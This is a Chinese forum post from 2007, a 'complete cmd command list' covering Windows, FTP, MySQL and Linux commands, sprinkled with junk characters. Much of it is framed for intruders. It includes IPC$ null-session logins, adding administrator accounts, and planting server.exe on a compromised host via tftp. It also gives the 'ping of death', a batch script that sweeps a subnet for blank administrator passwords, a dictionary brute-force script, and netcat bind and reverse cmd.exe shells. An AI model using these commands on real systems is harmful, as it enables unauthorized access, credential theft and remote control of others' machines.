找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 1299|回复: 1

cmd命令大全

[复制链接]
发表于 2007-10-14 13:37:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
netstat -n 如果对应某个连接的状态为“Established”,就表明你的计算机和对方计算机之间的连接是成功的);$ n5 n6 w0 W0 x6 ^1 r % d6 t" F. P( Z/ p$ H& D; k8 D; vtelnet . ?5 H4 w8 @$ L6 Pnet use \\ip\ipc$ " " /user:" " 建立IPC空链接 0 A# p6 V2 Q; D& I% A net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 A2 ?- ~& Y' y net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: : }3 X3 ]; z2 C2 H+ x+ v" \net use h: \\ip\c$ 登陆后映射对方C:到本地为H: ; H& F5 L: Z2 [6 w: ~0 | net use \\ip\ipc$ /del 删除IPC链接 0 p2 l+ ~$ q9 A" O$ G net use h: /del 删除映射对方到本地的为H:的映射 0 p9 m, D v$ |; l9 k2 R net user 用户名 密码 /add 建立用户 + V# I- h# z0 e9 ]4 bnet user guest /active:yes 激活guest用户 $ c8 ~! o/ t+ {( Qnet user 查看有哪些用户 - J, ]8 g6 l! ?& v" @ net user 帐户名 查看帐户的属性 * f; Y* I) T* R# cnet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 $ w' v# d9 G' y) W net start 查看开启了哪些服务 " M( S: K8 _) i net start 服务名  开启服务;(如:net start telnet, net start schedule) 5 O- M1 P4 d2 P& v; B, [7 i net stop 服务名 停止某服务 . T4 f% K5 U9 L net time \\目标ip 查看对方时间 2 Q% f" s+ Q$ q! b; { net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 + B# X4 u$ c1 Nnet view 查看本地局域网内开启了哪些共享 6 C, |7 h/ G6 V1 S7 V2 }net view \\ip 查看对方局域网内开启了哪些共享 * S1 {* ?1 n* l6 |9 Q: g( u X7 T( @net config 显示系统网络设置 / w C3 b1 ]& r& A) D net logoff 断开连接的共享 % m, w6 v& k8 ? net pause 服务名 暂停某服务 3 d d* d2 K3 C$ s% V u2 V% c# Rnet send ip "文本信息" 向对方发信息 $ l+ ?) e( D" k9 z" j0 g% { net ver 局域网内正在使用的网络连接类型和信息 : p3 u4 ?) Z: Y1 M- }3 L2 U! s$ A$ {net share 查看本地开启的共享 ) ^* @" t# [% G' r/ Y: [) t net share ipc$ 开启ipc$共享 ' h n$ s6 p5 v; }( u net share ipc$ /del 删除ipc$共享 - Y8 o1 r$ X* i0 K6 A6 e net share c$ /del 删除C:共享 % \: T) z' R& y3 O3 z9 B0 _ }$ m net user guest 12345 用guest用户登陆后用将密码改为12345 [& Q: ?" @! G7 ~% o( g7 Enet password 密码 更改系统登陆密码 7 q* w4 t' D, c; B netstat -a 查看开启了哪些端口,常用netstat -an ) H1 J) b2 f- i2 C( d8 Y. A2 J6 I9 znetstat -n 查看端口的网络连接情况,常用netstat -an % D6 O t- _0 @/ T7 d& pnetstat -v 查看正在进行的工作 : Y# H) D9 W& B! J; K netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 7 ]* h& Y3 F0 w( l: J0 c" Jnetstat -s 查看正在使用的所有协议使用情况 s1 h* K+ f1 B% B* z# n0 X8 s8 s nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 # z% F, C* M7 J* ]* j- rtracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 5 P" B' W# `( `: U ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 : _8 T% W0 J& x0 n" K6 Q: }2 t ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) + w. O" |2 B4 f |5 dipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 / @9 P; ? U- S9 ?1 s' x/ t3 ttlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) % a, z% ?1 o- j+ Y; A* d kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) , X1 i. ^4 a) J( Z' }del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 6 R$ U. v& i5 s; ^) X4 X#2 二: ' _( C- E `( Y& vdel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) 7 z0 `& @( u. l) I3 y& y6 L move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 ) {6 w) @4 a. @" M) |+ U fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 1 h3 M9 z! g9 V: _. `& S' W: H+ |at id号 开启已注册的某个计划任务 n5 m* y5 B/ [+ V at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 1 ]( W7 x' E! | at id号 /delete 停止某个已注册的计划任务 4 z5 c0 j9 N6 w/ j+ l at 查看所有的计划任务 : N, v* {; y4 W6 d$ F. P6 W; x6 \ at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 ' B4 e* O r" @ finger username @host 查看最近有哪些用户登陆 + G6 U0 I9 R* y& F telnet ip 端口 远和登陆服务器,默认端口为23 % O* J) c' o7 {; ?0 ] open ip 连接到IP(属telnet登陆后的命令) - g0 F+ g& N- m- V! M3 Z) X$ ^ telnet 在本机上直接键入telnet 将进入本机的telnet # p6 I9 i/ l) l: o copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 2 R# c0 e* y; a, ~' B' x$ Q copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 7 \# i6 |- S$ z- t cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 8 q) k4 h" i D: l- W3 t7 h( t: N2 \copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: & X2 L2 ^, j1 l3 |8 }. G3 H* vxcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 4 w" E7 w* V" h8 K- g5 d tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 ! Y0 |5 D/ n0 y' B5 O' \/ Etftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 ' \" i1 y5 l% [3 \* o, }ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 8 Q) J" B% L/ a1 Q0 ~# O3 ~5 Yroute print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface ) k J: C, ]2 J2 v8 m( e# ?arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 : J B! m$ o% _- @ A/ Y1 Hstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 1 N% h" H [9 j4 `4 Q1 emem 查看cpu使用情况 # h; X) S; C; C0 \. N$ u2 h2 l+ V attrib 文件名(目录名) 查看某文件(目录)的属性 1 A- h1 o! X0 h% R2 t, w7 J; ?attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 ( n/ N" z2 g% p2 D3 S, y% j/ jdir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 4 S6 Q7 a9 q6 c$ F, T( M! Ndate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 4 B+ D& x a% |- p+ @ k( k2 c/ n+ n set 指定环境变量名称=要指派给变量的字符 设置环境变量 # o9 U' w4 \& i; q) V8 `0 {' G set 显示当前所有的环境变量 3 B" H/ Q0 {: P5 ~5 l( [ set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 / }( W9 w- y- L( c1 A3 l7 ?+ Y* n pause 暂停批处理程序,并显示出:请按任意键继续.... 5 j% r/ _3 a/ j$ n8 R8 _( D& T- P if 在批处理程序中执行条件处理(更多说明见if命令及变量) 2 A4 k6 w/ Q' ?" @- i" i goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) % U! S( Y! p. V call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 2 x/ G8 S1 i5 Ffor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) + T( ]4 i: P) `; d: U* Fecho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 1 |! v/ C$ [ ?& Decho 信息 在屏幕上显示出信息 ' _' M) L7 M( j; d* wecho 信息 >> pass.txt 将"信息"保存到pass.txt文件中 9 @1 _) v% h5 X1 _! X; Q9 n* m9 T findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello ) w! G* b/ T( i% q% O) ] find 文件名 查找某文件 * X- S1 I; x' H+ n title 标题名字 更改CMD窗口标题名字 ; r* V" V8 A8 s& K z0 O$ t0 zcolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 3 p8 `* q% Q6 Z prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )0 B1 d, A z1 ~3 L #3 三:7 p$ f& ]8 J: n" z ver 在DOS窗口下显示版本信息 : c4 C8 a- [8 u% R4 C3 |9 P+ ewinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) * l9 Y. Z/ n* T4 |% A1 T3 r9 ?format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 6 A1 x# `) K& V0 ?. {1 Amd 目录名 创建目录 : `/ ^$ C7 H7 }. G2 J replace 源文件 要替换文件的目录 替换文件 . L( H4 ]7 Z/ rren 原文件名 新文件名 重命名文件名 / m6 _% |+ q9 K ~; j9 itree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 # L8 _: }$ j( F9 Ktype 文件名 显示文本文件的内容 2 y" \4 }, G* z" o4 Hmore 文件名 逐屏显示输出文件 % M) i& Y8 C! j( ^7 Zdoskey 要锁定的命令=字符$ n& _9 m' ~2 c1 v! u$ J doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= " [9 K. T" C* Q0 ~' w: j taskmgr 调出任务管理器 1 A( p7 {+ [0 o. g) V chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 ) @+ R g4 S( q9 b Z. @tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 ! N8 v7 c( i' B3 `exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe $ C" `4 _# |9 n& s3 k/ s3 K# f# R! e) j path 路径\可执行文件的文件名 为可执行文件设置一个路径。 * G- |# o* a. {; Q1 U! [cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? ! j( u8 ]$ l# U2 ]( B% @/ q regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; + I$ ]. H9 N: _ r/ D6 rregedit /e 注册表文件名 导出注册表 9 E7 j! K2 F! Q% b. ~cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 3 h' g$ S" t1 z cacls 文件名 查看文件的访问用户权限列表 3 ~! h! e7 c+ [REM 文本内容 在批处理文件中添加注解 0 A; ?2 {) L% T) ?( J mnetsh 查看或更改本地网络配置情况 7 ]3 t5 u6 \4 r#4 四:7 z$ w% i) H; e# m/ \: ~8 b2 q% \8 _ IIS服务命令: 2 C" D' {5 A' v7 \/ F+ U& V iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) ' [7 |/ Q' h$ B; F- j6 xiisreset /start或stop 启动(停止)所有Internet服务 / T6 r2 Z7 v. t, i$ P! a iisreset /restart 停止然后重新启动所有Internet服务 ( D0 W: x" Y2 ^8 O" V |5 ` iisreset /status 显示所有Internet服务状态 2 ?5 W8 W6 }! G4 Y0 I- piisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 8 W. c+ ^7 q2 x Y0 C* siisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 ! L; \, n& ^/ b0 @2 k iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 , i3 o. i: |# X3 t* z2 R" ?5 G$ Y; _ iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 * ~& `0 b9 ~/ B8 | FTP 命令: (后面有详细说明内容) - h7 V. Q% g* v ftp的命令行格式为:6 Y) o" E- _6 [4 W ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 L$ Q' v+ `, |8 N7 V% }, X; O7 f -d 使用调试方式。 8 d% h- _, \& q5 p/ A# B* e -n 限制ftp的自动登录,即不使用.netrc文件。 ! B |: X0 O2 e" m-g 取消全局文件名。 3 m) d3 w3 y8 W) M* W6 J7 Nhelp [命令] 或 ?[命令] 查看命令说明 ) C- P1 v" ?0 `* B/ obye 或 quit 终止主机FTP进程,并退出FTP管理方式. 6 l, M5 ?/ @& P# c- B/ `1 t C7 R pwd 列出当前远端主机目录 ' R" Z# Y( u5 B( \ put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 / y |/ S2 z) c get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 3 X& n Q1 o Z, g9 Dmget [remote-files] 从远端主机接收一批文件至本地主机 ; y, w; Q2 `4 Y3 M4 n5 Q: H mput local-files 将本地主机中一批文件传送至远端主机 0 p8 @: l6 H7 _- G, q. tdir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 ' ~3 Y& a. L6 {$ I$ f9 Q1 ], Y4 Uascii 设定以ASCII方式传送文件(缺省值) - S. X z0 A3 S3 S bin 或 image 设定以二进制方式传送文件 / z% K& T3 h2 V0 j0 R bell 每完成一次文件传送,报警提示 - C- n& Y/ l2 M- d. S' a: h+ V# E" Q0 Q cdup 返回上一级目录 , ]; y8 A3 F& yclose 中断与远程服务器的ftp会话(与open对应) ! y0 [. O3 w# h# Topen host[port] 建立指定ftp服务器连接,可指定连接端口 ! h+ x+ c0 }6 S- U) j2 } delete 删除远端主机中的文件 9 d: A+ \3 v6 o9 D mdelete [remote-files] 删除一批文件 5 q, j9 X, P" S. M+ e mkdir directory-name 在远端主机中建立目录 : ^) J0 ?9 V/ L3 w& Q7 [rename [from] [to] 改变远端主机中的文件名 ( P- A0 o, u3 ^rmdir directory-name 删除远端主机中的目录 1 U8 g* D$ R4 m; G* H& d status 显示当前FTP的状态 ( [. Z! F# r: k+ W, Y1 asystem 显示远端主机系统类型 2 d! W: n" r4 v* x6 k0 \( J( h! f* Auser user-name [password] [account] 重新以别的用户名登录远端主机 0 S" ^. I5 X; d- x' Z$ Y2 H3 Nopen host [port] 重新建立一个新的连接 ~& q' |- x p; G/ y3 ` prompt 交互提示模式 . m! K7 l6 L7 w! w2 H! Nmacdef 定义宏命令 5 p( i7 i5 e# M! K" c3 C6 h: R e lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 0 ~# K* ]8 G- C2 K2 _* M chmod 改变远端主机的文件权限 2 I' X$ l4 @ m* U9 L6 B case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 $ p. a5 h5 W7 W/ f/ O2 I) { cd remote-dir 进入远程主机目录 2 q6 i; z; j0 X0 J5 S; l% Y; ? cdup 进入远程主机目录的父目录 & A0 h. T+ t$ H" g2 K$ L ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip' k' T& Z( Z ?5 } #5 五: $ j" e! o2 W) Q5 b, lMYSQL 命令: 0 d* g( f N# D8 h/ mmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。 3 I. l: P/ F6 Z(例:mysql -h110.110.110.110 -Uroot -P123456 5 A# Q9 J8 R8 l ]注:u与root可以不用加空格,其它也一样) ( [( G" N' Z4 F l1 g. L T1 jexit 退出MYSQL % J* }/ M7 |! V& U5 U* Mmysqladmin -u用户名 -p旧密码 password 新密码 修改密码 + `9 C) c! n; ~grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) . t3 u( v0 F$ @- Z9 X& Nshow databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 + E0 v/ @0 u( O+ Z* u. g use mysql;9 C! F$ a& D6 L3 Z( t1 U show tables; 显示库中的数据表 A2 Q5 y3 a1 c3 t5 T4 r! u% m$ Wdescribe 表名; 显示数据表的结构 ; _5 p+ t% p6 O3 Acreate database 库名; 建库 ' z4 `+ N7 Z1 J6 v4 A9 K# ]- U, e use 库名;* `. Z |1 b N( f, M1 ^ create table 表名 (字段设定列表); 建表 + t/ @; m; U5 T, O# X1 s* qdrop database 库名; 5 s7 Y3 ~- L* r! ? w4 K drop table 表名; 删库和删表 ' K5 G0 A! w7 d7 [5 V, S# V7 A delete from 表名; 将表中记录清空 , ]0 F: O8 i' J select * from 表名; 显示表中的记录 . W0 F' ?' f( u/ z5 xmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 % O( c. e# O3 F# q3 R. m win2003系统下新增命令(实用部份): $ P1 o, T. I. a! b4 n+ W shutdown /参数 关闭或重启本地或远程主机。+ }7 `2 p8 X0 c4 h 参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。' S7 V E2 C$ J; Q5 d 例:shutdown /r /t 0 立即重启本地主机(无延时) ( y- k* c: y3 ^$ f* ?: wtaskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 5 \9 d0 i$ A3 e- d6 V! G参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 / q* M9 P1 L& ?" H- Stasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。3 \) j6 i: L' A$ ~: N 参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。 2 b6 A$ l1 [& g0 ^1 \$ D#6 六:! ?2 H3 o& U, [3 J Linux系统下基本命令: 要区分大小写 4 k* i! `0 a; Y uname 显示版本信息(同win2K的 ver) & ?' W m- U% I! `dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) $ C E- ?4 o% j% `pwd 查询当前所在的目录位置 ( Z6 T5 N9 K: n# Q3 W2 M* _ cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 ) j8 J& v3 M- N& a |9 e+ j! A cat 文件名 查看文件内容 : X5 h' V# C' ^" \ L9 w# g0 `cat >abc.txt 往abc.txt文件中写上内容。 ! T% V0 Q5 |5 q! Imore 文件名 以一页一页的方式显示一个文本文件。 ' Z& K0 B) e8 T cp 复制文件 4 Y1 z+ z" ~" f2 ~; vmv 移动文件 ; c9 G4 X4 G1 B rm 文件名 删除文件,rm -a 目录名删除目录及子目录 9 Q" @5 O9 e! J7 Tmkdir 目录名 建立目录 1 ?! z1 d7 b* L* _3 _rmdir 删除子目录,目录内没有文档。 7 }" o Z" b4 u$ M5 N1 g- Schmod 设定档案或目录的存取权限 3 H8 [$ T, H3 T& ]) p% c grep 在档案中查找字符串 3 Z& W9 h/ o9 g' S) p8 k( o$ \5 @ diff 档案文件比较 4 x9 ^0 i) f2 {- x" e find 档案搜寻 F$ D: y: s: O. l date 现在的日期、时间 * S7 }) q* a8 L, u% N4 A+ V/ f1 Q vwho 查询目前和你使用同一台机器的人以及Login时间地点 - q8 K* d) J, z" B( V ~7 |/ J w 查询目前上机者的详细资料 K" b9 ?' [; x0 z1 u, K" Pwhoami 查看自己的帐号名称 $ m% \. J6 Y' w P groups 查看某人的Group 8 o5 U2 |/ `# ]! J passwd 更改密码 3 C& [* E: n" Y E) C history 查看自己下过的命令 , k. Q, l- [9 m4 z ps 显示进程状态 ( O; k5 j& `* v& g& I& `' @2 mkill 停止某进程 0 M3 ~3 {7 S6 Z; `gcc 黑客通常用它来编译C语言写的文件 ) B+ Y- w' t# M! k4 n' Ysu 权限转换为指定使用者 ( T5 s& w8 t5 F. d8 m ltelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 2 ?9 C+ S8 \0 V0 d! f0 m7 r7 Iftp ftp连接上某服务器(同win2K) ( ^2 {7 y5 T% M/ y附:批处理命令与变量3 g$ s8 v" v. [: f; b5 B! W& g 1:for命令及变量 基本格式: ' O& @1 M5 R+ K, N: L: w6 n$ w7 i3 {FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。 ) u/ W) i: E6 B0 k7 |% u批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3" A/ c7 p" L0 Z4 d (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 } 6 D+ R5 Z. m9 g5 H/ M' J! wcommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开 8 r, Y* N) @9 j3 _; `$ gcommand_parameters:为特定命令指定参数或命令行开关* O+ n" c$ H, J% c! p IN (set):指在(set)中取值;DO command :指执行command/ f ~0 \+ B% _9 Q c( L2 { 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。 & j2 c3 |* _; w( c' ]% ~5 e0 N 用法举例: " V. v, R' L& o @echo off 5 V3 e$ R# k* K" k echo 用法格式:test.bat *.*.* > test.txt # ]7 M3 z3 c& s& Y' @ for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt ( f2 l. C) f+ X& |存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。 " M5 b, ~$ k* M& \/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 ; ]' G$ J% @1 A2 C" {; | @echo off 1 F4 T4 P: B/ b6 v. Hecho 用法格式:ok.bat ip / E! `5 w! b& L% `0 y: U" w: uFOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 . o# c' a s9 y0 p7 _存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。0 M) @9 Z8 B/ P5 r5 m #7 七:2 K4 G. b7 P( q 2:if命令及变量 基本格式: # X$ Y1 {) C. N5 c' L$ N! U& M- A IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。- o( p1 l# q, U5 _7 e S: B& B' C 例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。 2 Y3 d+ \8 r7 t( L( Q0 指发现并成功执行(真);1 指没有发现、没执行(假)。 ' S: p7 }# J, D1 G; x# rIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。% @ g" b- K5 J 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") ( J ~2 `! ]. t2 T IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。 3 h9 ^& m, S+ G6 d例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 $ ]- k7 B' i5 r$ Y! o: F; A( q IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.” # l1 ]! J! M# |(二)系统外部命令(均需下载相关工具): ' R' ?: L s2 @1、瑞士军刀:nc.exe ; C3 y+ w3 G6 P) m+ S5 f/ @2 N* N参数说明: . k0 {) z6 m; V$ B -h 查看帮助信息 1 P# k2 N3 r5 H# Y; f: Q -d 后台模式 1 i8 z# L) H. J9 P% P* ^ ], R -e prog程序重定向,一但连接就执行[危险] / X4 M( T' s2 e" H- c- t -i secs延时的间隔 # x; ?. \! o& N6 p+ s-l 监听模式,用于入站连接 f: s9 f( d4 X5 P. J' I& N+ R -L 监听模式,连接天闭后仍然继续监听,直到CTR+C 8 }% l/ {+ u5 [. ] -n IP地址,不能用域名 2 W, j4 `. b0 H5 C$ L-o film记录16进制的传输 1 h( P: ]3 z$ ~7 ^' I -p[空格]端口 本地端口号 : p2 {7 h' B5 d" r2 v0 u2 d -r 随机本地及远程端口 $ ~* N! w/ D5 e* g-t 使用Telnet交互方式 ) Q q: }9 y4 Y: ]& x! r8 \$ k -u UDP模式 9 s9 L5 i/ s9 O! y' G1 e' x -v 详细输出,用-vv将更详细 % n9 _8 }5 O0 C' D" Z9 Y-w数字 timeout延时间隔 ' G# L8 r# S, d9 t8 L$ j. P -z 将输入,输出关掉(用于扫锚时) D( ~. \/ L+ c1 g0 D1 h+ a! c 基本用法: 4 x; c" d/ q4 }( r$ |+ ]! l9 Gnc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 5 N" Z1 m7 W& J+ Y& p* s2 Cnc -l -p 80 开启本机的TCP 80端口并监听 4 f: K6 \6 B; K' f& Onc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 ) T" E" r! p, U6 q. W6 bnc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 / m" t: ~" U. ~! ~ nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 0 U7 r8 o0 ^* t4 s7 e 高级用法: % D1 e3 U! d8 X7 Y2 ?* m* X5 l {5 j$ i nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 1 Z9 v2 u* v6 h; A _- U nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt 2 P- }! ]6 A& B9 Nnc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 6 ?7 H( ?; B- A! [, k+ e' l; I type.exe c:\honeyport | nc -L -p 80 